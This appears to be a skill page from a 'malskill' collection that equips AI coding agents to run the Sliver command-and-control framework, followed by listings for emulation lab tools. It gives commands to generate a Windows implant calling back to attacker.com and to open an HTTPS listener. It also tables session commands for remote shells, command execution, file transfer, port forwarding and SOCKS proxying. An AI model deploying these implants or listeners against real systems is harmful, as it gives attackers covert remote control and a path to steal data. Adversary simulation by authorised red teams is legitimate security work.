offensive-tools/c2/sliver/SKILL.md
Sliver: open-source adversary simulation C2 framework by BishopFox supporting mTLS, WireGuard, HTTP/S, and DNS transports with per-binary asymmetric encryption. Use when deploying C2 implants, generating cross-platform beacons, managing multi-operator engagements, or executing BOFs via the armory.
npx skillsauth add aeondave/malskill sliverInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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Open-source C2: mTLS, WireGuard, HTTP/S, DNS.
./sliver-server
./sliver-client
generate --http https://attacker.com --os windows --arch amd64 --save implant.exe
https -l 443 -d attacker.com
use <session-id>
| Command | Purpose |
|---------|---------|
| generate | Build new implant |
| generate beacon | Async beacon with check-in interval |
| jobs | List active listeners |
| sessions | List active sessions |
| use <id> | Interact with session |
| shell | Spawn interactive shell |
| execute <cmd> | Run command |
| download / upload | File transfer |
| portfwd add | Port forwarding |
| socks5 start | SOCKS5 proxy via session |
| armory | Install BOF/extension packs |
| Transport | Flag |
|-----------|------|
| mTLS | --mtls <host>:<port> |
| HTTP/S | --http <url> |
| WireGuard | --wg <host>:<port> |
| DNS | --dns <domain> |
| File | When to load |
|------|--------------|
| references/ | BOF execution, multiplayer setup, OPSEC notes |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.